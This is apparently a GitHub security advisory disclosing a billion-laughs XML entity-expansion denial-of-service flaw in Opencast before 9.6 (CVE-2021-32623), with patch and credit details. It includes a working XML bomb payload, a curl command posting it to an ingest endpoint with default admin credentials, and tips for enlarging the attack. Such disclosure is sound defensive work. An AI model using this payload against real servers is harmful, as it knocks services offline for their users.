Opencast vulnerable to billion laughs attack (XML bomb)

High lkiesow published GHSA-9gwx-9cwp-5c2m on Jun 15, 2021

Package

opencast

Affected versions

< 9.6

Patched versions

9.6

Description

Impact

Opencast is vulnerable to the Billion laughs attack which allows an attacker to easily execute a (seemingly permanent) denial of service attack, essentially taking down Opencast using a single HTTP request.

Consider an XML file (`createMediaPackage.xml`) like this:

```
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE lolz [
 <!ENTITY lol "Lorem Ipsum is simply dummy text of the printing and typesetting industry. Lorem Ipsum has been the industry's standard dummy text ever since the 1500s, when an un
 <!ELEMENT title (#PCDATA)>
 <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
 <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
 <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
 <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
 <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
]>
<mediapackage xmlns="http://mediapackage.opencastproject.org" id="d162d5b2-b54f-4400-a268-ee6565b0e6e7" start="2020-01-23T23:08:37Z">
  <title>&lol5;</title>
  <media/>
  <metadata/>
  <attachments/>
  <publications/>
</mediapackage>
```

Throwing this at Opencast will cause Opencast to parse the XML and expand the Lorem Ipsum about 100 000 times, instantly consuming a huge amount of memory:

```
curl -i -u admin:opencast https://develop.opencast.org/ingestdownload/ingestdownload \
  -F 'mediapackage=<createMediaPackage.xml' \
  -F sourceFlavors="" \
  -F sourceTags="" \
  -F deleteExternal="" \
  -F tagsAndFlavor='' \
  -o out.xml
```

Additional notes:

- You can likely use other endpoints accepting XML (this was just the first one I tried) and depending on how much memory you want to consume, you might want to enlarge the lorem ipsum text.
- Opencast's XML parser does limit the expansion to 100 000 times, already limiting the attack. Nevertheless, this can already harm the system.
- To exploit this, users need to have ingest privileges, limiting the group of potential attackers

Patches

The problem has been fixed in Opencast 9.6. Older versions of Opencast are not patched sue to the extent of this patch.

Workarounds

There is no known workaround for this issue.

References

- Billion laughs attack explained
- For technical details, take a look at the patch fixing the issue: https://github.com/opencast/opencast/commit/_____

For more information

If you have any questions or comments about this advisory:

- Open an issue in our issue tracker
- Email us at security@opencast.org

Severity

High

CVE ID

CVE-2021-32623

Weaknesses

No CWEs

Credits

 darolfes

 Rillke

 lkiesow